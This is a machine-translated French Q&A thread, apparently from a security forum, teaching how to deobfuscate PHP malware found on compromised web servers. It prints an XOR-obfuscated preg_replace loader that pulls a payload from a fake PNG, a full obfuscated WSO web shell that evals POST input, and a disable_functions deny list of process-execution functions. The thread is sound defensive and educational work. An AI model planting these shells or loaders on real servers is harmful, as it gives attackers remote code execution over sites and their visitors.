Nous avons eu beaucoup de bruit concernant les fichiers piratés PHP ici, et cela prend beaucoup de temps pour répondre à ces questions. Dans de nombreux cas, ils sont hors sujet. Nous avons eu un discussion à ce sujet sur la sécurité de l'information Meta, et beaucoup de gens veulent que ces messages restent.
Cependant, presque tous les messages sur l'obscurcissement PHP peuvent être répondus de la même manière. Je pense que nous pouvons condenser la majorité des méthodes pour désobscurcir les fichiers piratés en un seul fil de questions et réponses .
Cela conduit à la question que de nombreuses personnes se posent: comment désobscurcir le code malveillant PHP code que j'ai trouvé sur mon serveur, comment cela s'est-il passé, et que dois-je faire?!
Heureusement, presque tous les scripts PHP peuvent être désobfusqués avec 4 méthodes simples. Nous allons utiliser ces quatre méthodes pour créer une réponse canonique.
Avant de commencer, rassemblons une liste d'outils courants qui aident à désobfusquer ces fichiers malveillants afin que nous puissions faire le travail nous-mêmes.
echo
en cas de besoin.La grande majorité des hacks utilisent une certaine forme de eval
, ou preg_place
, Ou les deux:
eval()
. Ceci peut être une fonction diabolique , car elle permet l'exécution arbitraire de PHP code. Juste trouver cette fonction en cours d'utilisation sur votre site Web pourrait être une indication que vous avez été piraté.preg_replace()
. Fréquemment utilisé avec eval()
pour permettre l'exécution de code arbitraire . Il y a plein de bonnes utilisations pour preg_replace()
, mais si vous ne savez pas comment il y est arrivé, et surtout s'il apparaît à côté du code obscurci, c'est une indication claire que vous avez été piraté.Alors que base64_decode
Est utilisé dans presque tous les hacks que nous avons rencontrés, il sert principalement de couche d'obscurcissement.
Il existe plusieurs façons différentes pour les pirates de brouiller leur code. Énumérons quelques-unes des techniques courantes afin que nous sachions les repérer, puis les décoder:
Encodage hexadécimal . Vous chercherez le numéro [~ # ~] hex [~ # ~] sur cette liste de table. En PHP, ceux-ci peuvent être représentés par une barre oblique inversée x, suivie d'un chiffre ou d'une lettre. Exemples:
\x48
= H\x34
= 4\x78
= XCependant, ils ne sont pas nécessairement représentés uniquement par \x
. Ils pourraient également être \#
.
Chaînes Unicode . Presque le même que ci-dessus, mais \u#
Au lieu de \x#
. Exemples:
\u004D
= M\u0065
= E\u0020
= (Espace)\u0070
= P\u006c
= L\u0073\
= SEncodage Base64 . Base64 est un peu différent des méthodes d'obscurcissement susmentionnées, mais il est toujours relativement facile à décoder. Exemples de chaînes:
SSBsaWtlIGRvbnV0cw==
= J'aime les beignetsZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7
= eval(base64_decode("hax"));
QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w=
= En supposant un contrôle directDéchets stockés dans une chaîne, divisés par pour les boucles, l'expression régulière, etc. . Vous devrez le décoder vous-même, car ils varient considérablement. Heureusement, la plupart des méthodes susmentionnées devraient vous aider à désobscurcir cette fois.
Parce que nous ne pouvons pas aider (nous pouvons, [~ # ~] i [~ # ~] can, mais they ne le sera pas laissez-moi!: P) avec chaque single PHP extrait de logiciel malveillant là-bas, il serait préférable d'enseigner you comment le faire.
Apprendre à le faire vous-même vous aidera à en savoir plus sur PHP et sur ce qui se passe. Mettons nos outils à profit, et utilisons deux exemples précédents de PHP deobfuscation sur ce site).
Exemple de désobfuscation # 1
Reportez-vous à cette question . Copiez et collez le code dans UnPHP :
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>
Et vous verrez que cela ne nous désobscurcit pas. Bummer. Nous allons devoir faire un travail supplémentaire. Notez les chaînes, ainsi que ses concaténations. Argh! C'est si moche et déroutant! Qu'allons-nous faire de ces cordes? C'est là que le sandbox PHP entre en jeu.
<?php
echo "\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40" . "<br/>";
echo "\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77" . "<br/>";
echo "\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41" . "<br/>";
?>
Maintenant que nous avons fait écho au contenu, nous pouvons le reconstruire pour obtenir les résultats suivants:
<?php
preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc";
?>
Notez la chaîne, L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
? Cela ressemble énormément au codage Base64 dont nous avons parlé plus tôt! Essayons de le décoder et voyons si nous avons raison:
/home4/mitzvahc/public_html/assets/img/logo_small.png
Après avoir ouvert le fichier logo_small.png dans une sorte d'éditeur de texte, nous trouvons quelque chose comme ceci:
eval(gzuncompress(base64_decode("evil_payload")));
Oh non !!!
Si vous exécutez le contenu du fichier via UnPHP , vous devriez obtenir vos résultats décodés.
Exemple de désobfuscation # 2
Reportez-vous à cette question :
Rappelez-vous plus tôt lorsque nous avons mentionné ASCII? Jetez un œil au code:
<?php
${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>
Copions et collons ceci dans UnPHP . Une fois que les résultats sont arrivés, nous pouvons enfin voir ce qu'il fait, mais tout semble brisé ensemble. Collons-le dans le embellisseur PHP . Maintenant c'est beaucoup plus facile à lire !
Si vous n'êtes pas en mesure de désobfusquer les noms de variables via l'une des méthodes susmentionnées, la désobfusculation de ces noms de variables peut être un processus manuel et fastidieux. Heureusement, la recherche de modèles de logiciels malveillants courants, tels que la fermeture des fichiers journaux, l'utilisation de eval()
ou preg_replace()
avec obscurcissement indique que quelque chose ne va pas.
L'obfuscation est la mauvaise approche , donc si vous trouvez du code obscurci sur votre site Web, vous devez supposer que vous avez été piraté. Vous devriez pas brouiller votre code. La sécurité au détriment de l'utilisabilité n'est pas la sécurité.
Essayer de décoder ces fichiers sur votre propre serveur Web n'est pas sûr pour de nombreuses raisons, dont certaines peuvent nous être inconnues. N'essayez pas de désobfusquer PHP fichiers sur votre propre serveur Web. Vous pourriez par inadvertance introduire des portes dérobées supplémentaires ou aider le les logiciels malveillants se propagent car de nombreux scripts chargent les fonctions à distance.
C'est vraiment trop large pour répondre sans que nous ayons accès à tout sur votre serveur Web, y compris les journaux.
Vous pouvez avoir un renforcement incorrect de votre installation du système de gestion de contenu (CMS), ou il peut y avoir une vulnérabilité quelque part dans votre pile Web. Vous pouvez vérifier ces liens s'ils font partie de votre CMS:
Si votre CMS n'est pas répertorié, recherchez les listes de contrôle de renforcement/sécurité pour votre installation CMS. Si vous utilisez pas en utilisant un CMS, mais plutôt votre propre code, c'est à vous de corriger vos failles de sécurité. Le OWASP Cheat Sheet sert de bon point de départ pour trouver et corriger les vulnérabilités courantes. N'oubliez pas que seul vous peut empêcher l'accès au shell.
Il pourrait y avoir un certain nombre de raisons pour lesquelles cela se produit ... mais le résultat est: soit votre hébergeur a été piraté, soit vous avez un exploit sur votre site Web qui permet à des individus malveillants d'insérer du code supplémentaire et de leur donner un contrôle total sur votre site web ... pendant ce temps, ils attaquent vos visiteurs .
Vous devriez lire ce Q&R: Comment gérer un serveur compromis?
L'excellente réponse de Mark concerne le cas où l'obscurcissement est relativement simple. Cela concerne 99% des cas, mais de temps en temps, vous pouvez rencontrer quelque chose d'un peu plus malveillant, par exemple en utilisant également le cryptage du code source. L'exécution du code (ou au moins une partie de celui-ci) peut être un moyen beaucoup plus rapide de savoir ce que fait le code que de procéder à une ingénierie inverse de la source à la main - mais peut être extrêmement dangereux! Il y a certaines choses que vous pouvez faire pour contenir/limiter les dégâts.
Utilisez toujours un vm Voir aussi cette question .
Désactiver les fonctions PHP.ini a une option disable_functions qui vous permet de bloquer sélectivement l'accès à des bits de fonctionnalité particuliers. Mark a déjà mentionné eval et preg_replace () (ce dernier est supprimé dans PHP 7) mais les fonctions d'exécution de processus fournissent également un point de levier utile:
disable_functions=eval,preg_replace,exec,passthru,Shell_exec\
,system,proc_open,popen,imap_open,pcntl_exec,pcntl_fork
Utilisez l'extension Runkit Cela vous permet de redéfinir les fonctions, y compris celles intégrées à PHP. Notez que le runkit sandbox n'est pas destiné à fournir beaucoup d'isolement - il vous permet d'interagir par programme avec PHP code s'exécutant dans un thread/environnement différent.